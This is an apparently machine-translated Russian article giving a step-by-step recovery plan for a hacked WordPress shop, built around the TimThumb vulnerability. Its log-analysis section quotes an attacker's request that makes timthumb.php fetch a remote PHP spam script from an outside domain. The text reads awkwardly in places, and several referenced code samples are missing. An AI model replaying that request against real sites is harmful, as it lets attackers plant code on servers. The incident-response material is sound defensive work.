«Опасность: вредоносные программы вперед!» и «Этот сайт может нанести вред вашему компьютеру» являются два предложения, которые я ненавижу больше всего, и что я не хочу, чтобы любой из моих клиентов, чтобы увидеть, когда они открывают свой сайт. Если вы видели любой из них на вашем собственном сайте, то я держу пари, вы все еще помните вашу паническую атаку и как вы боролись, чтобы получить ваш сайт и работает как можно скорее.
Многие большие статьи показывают, как предотвратить веб-сайт от взлома. К сожалению, если вы берете его в автономном режиме, ваш сайт не является и никогда не будет полностью unhackable. Не поймите меня неправильно, вы все равно должны принять превентивные меры и регулярно улучшить безопасность вашего сайта; однако, отвечая соответственно, если ваш сайт получить взломали не менее важно. В этой статье мы предоставим простой семиступенчатый план аварийного восстановления для WordPress, который вы можете следовать в случае чрезвычайной ситуации. Мы иллюстрируем его с реальным рубить и конкретные команды, которые можно использовать при анализе и очистке веб-сайта.
Дальнейшее чтение на SmashingMag:
- Общие WordPress вредоносных инфекций
- Аппаратный взлом с JavaScript
- Увеличение инноваций с Hack ночи
- Дизайнеры, «Хаки» и профессионализм: Мы наши собственные худшие враги?
Оцените свои активы
Первое, что нужно выяснить, какие части вашего сайта имеют важное значение и как важно они для успеха вашего бизнеса. Это называется оценкой активов. Вы можете сказать, что весь ваш сайт имеет важное значение, но это будет просто думать о «важных» в целом. Вы должны думать о вашем сайте WordPress как группа компонентов, которые работают вместе, чтобы служить одной цели, и некоторые из которых являются более важными, чем другие. Вес, который вы распределяете с определенным компонентом, в значительной степени определяет ваш курс действий в чрезвычайной ситуации.
Допустим, у вас есть интернет-магазин, построенный на WooCommerce, с пользовательской темой и несколько дополнительных плагинов, в том числе контактная форма, которая не очень популярна среди ваших посетителей и галерея, где вы редко загружать фотографии. Вы главным образом производите профит от тележки WooCommerce потому что ваш дело продать продукты он-лайн.
Представьте себе, что теперь плагин WooCommerce имеет уязвимость и получает взломали. Вы попросили хостинг-провайдера очистить вредоносные программы и решить эту проблему. Они говорят вам, что плагин WooCommerce был скомпрометирован, и что они будут обновлять его, и они спрашивают вас, если они могут удалить и восстановить веб-сайт из резервного копирования, а это означает, что вы потеряете последние 24 часа данных? Конечно, вы скажете «нет» восстановлению, потому что вы не можете позволить себе такую потерю. Вы хотите, чтобы они очистить веб-сайт, не теряя никаких данных.
Однако, если вы знаете, что только ваша галерея была взломана, где ваш последний загрузка была месяц назад или где вы размещаете фотографии, которые не имеют значения для вашего дохода, то вы бы сказать им, чтобы идти вперед и восстановить галерею из резервного копирования — или даже удалить галерею, если т шляпа самый быстрый способ получить веб-сайт и работает безопасно снова.
Определите, кто может вам помочь
Как только вы сможете четко определить активы, которые важны для вас, наметить, к кому обратиться за помощью, если это необходимо. Хотя мы предоставим подробную информацию в этой статье о том, как обрабатывать довольно технические части плана восстановления, никто не ожидает, что вы сделаете что-либо из этого материала. Вам будет хорошо идти, если вы просто знаете, как реагировать и кого обратиться за помощью.
- Ваш веб-хостинг-провайдер. Большинство веб-хостов WordPress предлагают какую-то поддержку, связанную с безопасностью. Во многих случаях, они будут первыми, чтобы вы знаете, вы были взломаны и, чтобы помочь с некоторыми диагностики. Они также могут предоставлять дополнительные услуги, такие как резервное копирование веб-сайта, анализ журналов, автоматическое обновление WordPress, обновления плагинов, регулярные проверки безопасности, очистка вредоносного кода, ранние уведомления о вредоносных программах и восстановление резервного копирования веб-сайта. Исследуйте, сколько из этих услуг предоставляет ваш хозяин, так что вы знаете, когда обратиться за помощью к хозяину и не потерять время в бессмысленной связи взад и вперед.
- Разработчики вашей темы и плагинов Если вы используете тему и плагины, предоставляемые третьими лицами, всегда убедитесь, что разработчик сможет предоставить поддержку в случае, если тема или плагин взломан. Всегда выбирайте надежных разработчиков, потому что они будут готовы исправлять уязвимости в своем продукте и помогать вам реализовать патч.
План аварийного восстановления KISS
Как уже говорилось, ваш сайт никогда не станет невзламым. Чтобы быть готовым к худшему, вам понадобится план аварийного восстановления, который восстанавливает веб-сайт в нормальном рабочем состоянии как можно быстрее. KISS (держать его коротким и простым). Он не должен быть сложным, и вам просто нужно перечислить несколько шагов, чтобы следовать в чрезвычайной ситуации.
Я выложу мой предпочтительный план восстановления, иллюстрирующие каждый шаг с реальным примером: WordPress TimThumb рубить, которая затронула более 230 тем, более 30 плагинов и более 39 миллионов веб-страниц по состоянию на начало августа 2011 года. Я предполагаю, что мы имеем дело с взломанным веб-сайтом WooCommerce, размещенным на платформе со следующим очень популярным хостинговым программным обеспечением: CentOS Linux версия 6.5, панель управления cPanel/WHM, веб-сервер Apache, сервер базы данных MyS’L/PHP 5.3.x.
1. Не паникуйте!
Как правило, пользователь WordPress узнает, что их веб-сайт был взломан из Google, открыв веб-сайт и видя испорченный индекс страницы, или потому, что их хостинг-провайдер заблокировал доступ общественности к веб-сайту. Однако вы узнаете, самое главное не паниковать и следовать плану ниже.
Предположим, что вы пытались открыть веб-сайт, но видели сообщение об ошибке, отказывая вам в доступе к веб-сайту. Вы, скорее всего, связался с хозяином, который сказал вам, что веб-сайт был использован для отправки незапрошенной электронной почты, и что, поскольку вы этого не сделали, он, скорее всего, взломали. Итак, теперь вы знаете: Вы были взломаны, и независимо от того, как страшно, что это, сохранять спокойствие.
2. Копировать взломанный веб-сайт и все файлы журнала доступа
Этот шаг является обязательным. Никогда не пропускай его. Вам нужна резервная копия взломанного веб-сайта и все файлы журнала доступа для того, чтобы проанализировать вредоносный код и узнать, как хакерам удалось получить доступ к файлам вашего сайта и / или базы данных.
Совет: Вы можете использовать инструмент для резервного копирования веб-сайта, но самый быстрый способ заключается в том, чтобы получить доступ к веб-сайту через SSH и использовать следующие команды для создания резервного копирования:
mysqldump -uUSER -pPASSWORD DB_NAME > your-site-folder/DB_NAME.sql
tar zcvf backup.tar.gz your-site-folder
В нашем случае вам необходимо создать резервную отпор на сервере, который имеет cPanel. Итак, у вас есть два варианта.
Ручное резервное копирование веб-сайта
Для резервного копирования базы данных MyS’L используйте следующую команду:
mysqldump -uUSER -pPASSWORD DB_NAME > /home/USER/DB_NAME.sql
Используйте эту следующую команду для полного резервного копирования дампа и папки, в которых хранятся файлы вашего веб-сайта:
tar zcvf backup_hacked.tar.gz /home/USER/DB_NAME.sql /home/USER/public_html
Файл backup_hacked.tar.gz будет создан и сохранен в домашней папке вашей учетной записи. Если вы находитесь на сервере cPanel CentOS, также резервное копирование следующих файлов журнала:
-
/var/log/messagesЭто файл журнала FTP для большинства систем, которые используют Pure-FTPd. -
/usr/local/apache/domlogs/YOURDOMAIN.COMЭто журнал доступа Apache. -
/var/log/exim_mainlogЭто файл журнала Exim по почтовому серверу. -
/usr/local/cpanel/logs/access_logЭто файл cPanel файл-менеджер журнала. -
/var/log/secureЭто файл журнала для sSH-соединений.
Используйте cPanel для полного резервного копирования всей учетной записи хостинга
Эта функциональность доступна с вашего cPanel, перейдя к значку «Создать резервное копирование». Полное резервное копирование cPanel также должно включать журналы доступа Apache. Вручную скопируйте остальные файлы журнала и добавьте их в архивный файл.
3. Карантин Веб-сайт
С момента резервного копирования до момента, когда уязвимость исправлена, ваш сайт должен быть в режиме обслуживания, чтобы предотвратить дальнейшую потерю данных и взломы. Возьмите его из карантина, как только вы уверены, что уязвимости были исправлены.
Переход в режим обслуживания правильно имеет решающее значение, так что ваши рейтинги поисковой системы не затрагиваются. Поисковые системы постоянно проверяют, что страницы все еще существуют и не изменились. Они проверяют две вещи, когда они открывают ваш сайт:
- код ответа от статуса веб-сервера HTTP,
- сами страницы и содержание служил для посетителей.
Коды статусов HTTP предоставляют информацию о запрашиваемых страницах (ы). Код состояния HTTP 200 означает, что страница была успешно найдена веб-сервером, который затем доставляет ее посетителю. Это единственный правильный код статуса для содержимого. Есть и другие коды статуса для перенаправлений: 301 (постоянное перенаправление), 302 и 307 (временное перенаправление). Код состояния веб-сайта в режиме обслуживания 503, который сообщает поисковым системам, что веб-сайт временно недоступен. Вы можете отправить этот код статуса в сочетании с определенным заголовком HTTP ( Retry-After ) сказать поисковым системам, чтобы повторно получить доступ к веб-сайту после определенного периода времени.
Совет: Начните с создания хорошей страницы обслуживания HTML для использования во время карантина. Не ждите, когда вас взломали перед созданием страницы обслуживания. Сохраните страницу HTML в своей учетной записи или на другом сервере, чтобы вы могли использовать ее, не теряя времени.
Ввод вашего WordPress веб-сайт в режиме технического обслуживания может быть сделано в одном из двух способов.
Включить режим обслуживания
Режим обслуживания встроен в WordPress. Чтобы включить его, создайте файл, .maintenance названный в корневой папке вашего сайта. Добавьте в файл следующий код PHP:
<? $upgrading = time(); ?>Этот код PHP заставит WordPress показать страницу обслуживания, пока вы не удалите .maintenance файл. Вы также можете создать пользовательскую страницу обслуживания.
Важно: Этот метод только перенаправляет запросы на ваши файлы WordPress. Если злоумышленнику удалось загрузить диспетчер файлов PHP или скрипт оболочки, этот вредоносный файл будет по-прежнему доступен через веб-браузер.
Используйте Apache mod_rewrite для перенаправления всех запросов на пользовательскую страницу обслуживания HTML
Это решение лучше, потому что вы будете перенаправлять все запросы, а не только посетителей, которые пытаются получить доступ к сайту WordPress напрямую.
Для этого назовите пользовательскую страницу обслуживания HTML maintenance.html и загрузите ее в корневую папку вашего сайта. Вы можете использовать следующий HTML-код:
<title>Down For Maintenance</title>
<style type="text/css" media="screen">
h1 { font-size: 50px; }
body { text-align:center; font: 20px Helvetica, sans-serif; color: #333; }
</style>
<h1>Down For Maintenance</h1>
<p>Sorry for the inconvenience. We’re performing maintenance at the moment.</p>
<p>We’ll be back online shortly!</p>
Создайте пустой файл, maintenance.enable названный в корневой папке вашего веб-сайта.
Наконец, добавьте следующие строки в .htaccess файл:
RewriteEngine On
RewriteCond %{REMOTE_ADDR} !^123.56.89.12
RewriteCond %{DOCUMENT_ROOT}/maintenance.html -f
RewriteCond %{DOCUMENT_ROOT}/maintenance.enable -f
RewriteCond %{SCRIPT_FILENAME} !maintenance.html
RewriteRule ^.*$ /maintenance.html [R=503,L]
ErrorDocument 503 /maintenance.html
Header Set Retry-After "14400"
Header Set Cache-Control "max-age=0, no-store"
Давайте разобьем эти строки мод-переписывать:
-
RewriteEngine OnВключите движок перезаписи. -
RewriteCond %{REMOTE_ADDR} !^123.56.89.12Не совпадайте с вашим собственным IP-адресом. Эта строка не является обязательной; использовать его для предотвращения перенаправления на страницу обслуживания запросов с вашего собственного IP. -
RewriteCond %{DOCUMENT_ROOT}/maintenance.html -fУбедитесь, что названная страницаmaintenance.htmlсуществует. -
RewriteCond %{DOCUMENT_ROOT}/maintenance.enable -fУбедитесь, что имя файлаmaintenance.enableсуществует, что позволяет и отключает страницу обслуживания. -
RewriteCond %{SCRIPT_FILENAME} !maintenance.htmlНе применяйте правило перенаправления при отображении страницы обслуживания. -
RewriteRule ^.*$ /maintenance.html [R=503,L] ErrorDocument 503 /maintenance.htmlЭто фактическое перенаправление на саму страницу обслуживания. -
Header Set Retry-After "14400"УстановитеRetry-Afterзаголовок14400(т.е. четыре часа). -
Header Set Cache-Control "max-age=0, no-store"Это предотвращает кэширование.
На данном этапе мы поддержали взломанный веб-сайт и поместили живой веб-сайт в режим обслуживания, чтобы посетители не видели взломанный веб-сайт и злоумышленники не могли получить доступ к веб-сайту через браузер.
Примечание: Теперь настало время, чтобы сбросить все пароли для вашей учетной записи wordPress администратора, для cPanel и для ftP и учетных записей электронной почты.
4. Восстановить веб-сайт из чистого резервного копирования, или удалить вредоносный код
Есть два способа очистить взломанный веб-сайт. Более быстрый способ заключается в том, чтобы полностью удалить веб-сайт, а затем восстановить его из чистой резервной копии. Это легко сделать, но имеет два основных недостатка: вы можете потерять некоторые из ваших данных, и вы не можете быть уверены, что резервные копирования являются чистыми. Если вы обновляете свой сайт только время от времени, то выберите этот метод.
Чтобы убедиться, что резервное копирование чисто, сканировать его с антивирусным программным обеспечением, хотя это не гарантирует, что файлы являются чистыми. Эмпирическое правило состоит в том, чтобы сравнить файлы из резервного копирования с файлами с живого веб-сайта. Выберите несколько зараженных файлов с живого веб-сайта, а затем проверьте те же файлы в резервной. Если они чисты, то вероятность того, что весь файл резервного копирования. Иногда взломы могут повлиять на вашу базу данных, а не на файлы. В таких случаях необходимо сравнить базу данных, используемую вашим живым сайтом, и резервную систему того же DB. Хороший бесплатный инструмент, который можно использовать, это phpMyAdmin, потому что вы можете легко увидеть данные во всех таблицах. Плохая вещь о ем что он не может автоматически показать вам разницы между 2 базами данных и вы должны вручную проверить все таблицы. Один из популярных коммерческих инструментов, которые вы можете использовать это MyS’L Сравнение Bundle.
Второй способ очистить веб-сайт— найти затронутые файлы и таблицы баз данных и удалить вредоносный код. В зависимости от взлома, очистка их может быть относительно легко или очень сложно. В любом случае, вы должны быть опытным в использовании Bash или Perl для того, чтобы отсеить текстовые файлы и заменить определенные строки, так что вы можете одновременно удалить вредоносный код из нескольких файлов.
Совет: Если вы не чувствуете себя комфортно очистки вредоносных программ самостоятельно, обратитесь к хозяину, чтобы сделать это за вас. Большинство хороших WordPress хостинг-провайдеры предлагают это как платную услугу. Если это не вариант с хостом, а затем искать безопасности компаний или автоматизированных служб, которые обнаруживают и очистки вредоносных программ. Если вы выберете автоматизированную службу вредоносных программ, не полагайтесь на нее полностью. Атаки и инфекции постоянно развиваются, и ни один программный продукт не будет автоматически обнаруживать каждую атаку и удалять все возможные варианты вредоносного блока кода. После использования такого инструмента, вручную просмотрите ваши файлы и базу данных, чтобы убедиться, что они чисты.
Наш гипотетический сайт WooCommerce, скорее всего, обновляется довольно часто, с новыми заказами и платежами в ближайшие дюйма Таким образом, восстановление веб-сайта из резервного копирования не является вариантом из-за потенциальной потери данных. Это оставляет нам возможность очистки вредоносных программ. Для этого нам нужно знать, где находится вредоносное ПО.
Наши злоумышленники отправили спам-сообщения с нашего хостинг-аккаунта. Первый шаг заключается в анализе одного из спам-сообщений и посмотреть, как хакерам удалось отправить его. Если у вас нет доступа к почтовым журналам, попросите хостинг-провайдера проверить журналы для вас. Нам понадобятся заголовки спам-сообщения, отправленного с вашей учетной записи.
Чтобы найти такое письмо, ищите имя пользователя cPanel в /var/log/exim_mainlog файле. Если наше имя tuser пользователя, мы бы искать файл журнала с помощью grep команды Linux:
grep tuser /var/log/exim_mainlog
Большинство почтовых серверов Exim будут отображать записи, связанные с сообщениями, которые были доставлены и сгенерированы скриптами PHP:
2014-04-15 12:43:09 [19963] 1Wa7O1-0005Bz-Ex H=localhost (mailserver.com) [127.0.0.1]:43395 I=[127.0.0.1]:25 Warning: Test Spam Mail : This message was sent via script. The details are as: SCRIPT_FILENAME=/home/tuser/public_html/wp-content/themes/premiumtheme/cache/wp-mails.php PWD=/home/tuser/public_html/wp-content REMOTE_ADDR=189.100.29.167.
Как вы можете видеть, запись журнала содержит много полезных деталей:
-
SCRIPT_FILENAMEЭто скрипт PHP, который отправил почту. -
REMOTE_ADDRЭто IP-адрес, который отправил письмо.
Если мы проверим этот сценарий PHP, мы обнаружим, что он не является частью core WordPress. Кроме того, мы можем заблокировать удаленный IP-адрес, который отправил сообщение, так что он не может получить доступ к нашему веб-сайту снова. Лучший способ заблокировать IP-адрес — добавить в файл следующую .htaccess строку:
deny from 189.100.29.167
Этот wp-mails.php скрипт, очевидно, не является частью core WordPress, так что мы можем удалить его. Мы выясним, как этот скрипт был загружен на веб-сайт позже. Найти все зараженные файлы, как правило, трудно. Как мы уже упоминали, вы можете сравнить чистую резервную пришвартовку с живым веб-сайтом. Для этого используйте следующую команду:
diff -r /path/to/hacked/site /path/to/clean/site
Эта команда будет отображать различия между двумя папками: новые файлы, отредактированные скрипты и новые папки. Смысл здесь заключается в том, чтобы быстро определить различия и найти вредоносные файлы бэк-двери. Следующий пример показывает различия между зараженным index.php файлом и чистым файлом:
Как вы можете видеть, хакерам удалось добавить вредоносный код в первую строку в index.php скрипте. Как правило, хакеры заразят многие файлы, а не только один, а также добавить вредоносный код в существующие строки кода, так что удалить его очень трудно. Давайте предположим, что наш index.php чистый файл по умолчанию WordPress index.php :
Хакеры изменили файл и добавили вредоносный код в строку 14, изменив файл на следующее:
Хакеры добавили вредоносный код перед WP_USE_THEMES строкой определения. Используйте следующую команду Linux, sed чтобы удалить только вредоносный код и сохранить законный код WordPress:
sedКоманда использует обычное выражение, чтобы найти только вредоносный код и удалить его с помощью замены. Вы можете объединить его с find командой Linux, чтобы найти все зараженные файлы и удалить вредоносный код. Конечно, будьте очень осторожны, чтобы не удалить законный код.
5. Проверьте архивные журналы для записей о атаке
Очистка вашего сайта является лишь первой частью восстановления. Важнее выяснить, как это удалось злоумышленникам. Обычно эта информация хранится в файлах журнала доступа сервера, в том числе для доступа к веб-сайту, FTP, SSH, файлового менеджера и панели управления. Различные уязвимости используются по-разному, поэтому вы должны быть знакомы со структурой всех журналов доступа.
Совет: Некоторые атаки трудно найти, и файлы журнала, которые даже три-шесть месяцев должны быть проверены. Храните старые записи журнала, по крайней мере три месяца. Не многие хосты держат журналы, что старые, так что начните держать их самостоятельно! Кроме того, журналы чтения отнимают много времени и болезненны, поэтому подумайте об аутсорсинге для специалиста по безопасности или к вашему веб-хостингу, если они предлагают такую услугу.
Теперь, когда наш сайт чист, мы должны выяснить, как хакерам удалось загрузить файл на wp-mails.php наш счет. Самый простой способ сделать это, чтобы проверить все файлы журналов и поиск wp-mails.php файла (с помощью grep команды). При проверке файлов журнала мы находим следующую запись:
189.100.29.167 - [12/Apr/2014:06:53:41 +1000] “GET /wp-content/themes/premiumtheme/timthumb.php?src=http://www.blogger.com.exl.ro/max/wp-mails.php HTTP/1.1″ 301 – “-” “Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]”
При анализе записи журнала мы замечаем следующую информацию:
-
189.100.29.167Этот IP-адрес получил доступ к веб-сайту и использовалtimthumb.phpскрипт. -
premiumtheme/timthumb.phptimthumb.phpСценарий является частью вашей премии тему. -
http://www.blogger.com.exl.ro/max/wp-mails.phpwp-mails.phpСкрипт был загружен изblogger.com.exl.roдоменного имени.
Эта запись журнала ясно указывает, что wp-mails.php сценарий был загружен через timthumb.php сценарий, который является частью нашей премиальной темы. Открыв timthumb.php сценарий, мы замечаем, что это устаревшая версия знаменитого проекта TimThumb.
6. Разрешить уязвимость безопасности
Когда вы обнаружите уязвимость, вам придется исправить ее соответствующим образом. Например, если вы обнаружите, что плагин WordPress уязвим, вам придется обновить его, удалить или ограничить доступ к нему, чтобы злоумышленники не могли его использовать. В конце концов, вы не хотите, чтобы ваш сайт будет взломан снова сразу после того, как вы очистили его.
Мы определили источник, и теперь пришло время решить его, прежде чем повторно включить веб-сайт. Оптимальным вариантом является обновление скрипта и замена его последней версией, которую вы можете скачать с официального сайта TimThumb. Однако это решение может оказаться неподходящим, поскольку многие поставщики тематических задач модифицируют скрипты и блоки кода в соответствии со своими собственными требованиями. Другим решением было бы удалить timthumb.php сценарий, а затем попросить поставщика вашей темы выпустить обновленную версию всей темы. Если провайдер темы надежен, то они уже исправили бы их тему для уязвимости того размера.
Для лучшей безопасности временно «спрячьте» timthumb.php скрипт от удаленного доступа до тех пор, пока не обновите его, используя .htaccess правила, позволяющие доступ с определенных IP-адресов:
deny from all
allow from YOUR_IP
Удаление шаблона и переустановка его, как только вы получите новую версию от поставщика также целесообразно.
7. Некарантинный веб-сайт, и информировать заинтересованных сторон
Перед тем, как «не карантин» ваш сайт, изменить все пароли для всех учетных записей еще раз. Это единственный способ убедиться, что злоумышленники не смогут получить доступ к веб-сайту через затронутую учетную запись.
Чтобы не карантин, просто удалите страницу обслуживания и прокомментируйте добавленные строки в .htaccess файле.
Вы также можете создать задание cron, которое информирует вас, если какой-либо файл будет изменен или новый файл загружается. Следующая find простая команда найдет все файлы и папки, которые были изменены или созданы за последние 60 минут:
find /home/tuser/public_html/ -mmin -60
Аналогичная команда часто используется для отображения новых изображений, файлов CSS или JavaScript файлов, но вы можете использовать его, чтобы следить за файлами, которые были загружены или изменены на хостинг-аккаунте.
Последнее, что нужно сделать, это проанализировать всю ситуацию еще раз и решить, следует ли информировать посетителей о проблеме. В нашем случае хакеры отправили несколько спам-сообщений, и важные данные в базе данных MyS’L не были затронуты. Однако в некоторых ситуациях вам, возможно, придется сообщить пользователям, что определенный тип уязвимости повлиял на веб-сайт, а затем побудить их изменить свой пароль или настройки учетной записи.
Заключение
Веб-безопасность является сложным. Анализ журналов занимает много времени, и неопытному пользователю могут потребоваться часы, чтобы найти нужную строку в файле журнала. То же самое касается очистки вредоносного кода, сканирования веб-сайта, управления базой данных и многих других задач, связанных с безопасностью. Если вы не разработчик или системный администратор, то вам понадобятся годы, чтобы узнать все технические детали и узнать, как «взломать» веб-сайт. Хорошей новостью является то, что вам не придется иметь дело с этим все самостоятельно!
Единственное, что вам нужно сделать, независимо от того, насколько вы неопытны, это быть в курсе проблемы и быть готовым управлять ею. Если вы помните следующие важные моменты, вы сможете решить любую уязвимость WordPress и очистить ваш взломанный веб-сайт:
- Знайте, какие части вашего сайта могут быть принесены в жертву для общего блага, и которые имеют решающее значение для вашего бизнеса.
- Безопасность состоит как из технологии, так и из политики. Узнайте о проблемах безопасности с WordPress и разработайте эффективную политику мониторинга и реагирования на их проблемы. Затем работайте с другими пользователями (ваш веб-хостинг, специалисты по безопасности и т.д.) для устранения уязвимостей как можно скорее.
- Безопасность это путешествие, а не пункт назначения. Даже если ваш сайт является безопасным сегодня, он может быть испорчен завтра. Безопасность является постоянной битве, выиграл поочередно хорошие парни и плохие парни. Проблема не может быть решена раз и навсегда, поэтому вам нужен план аварийного восстановления, который вы можете использовать, когда ваш сайт находится под угрозой!
Изображение кредита (Выдержка): Александр Дулауной
Источник: smashingmagazine.com
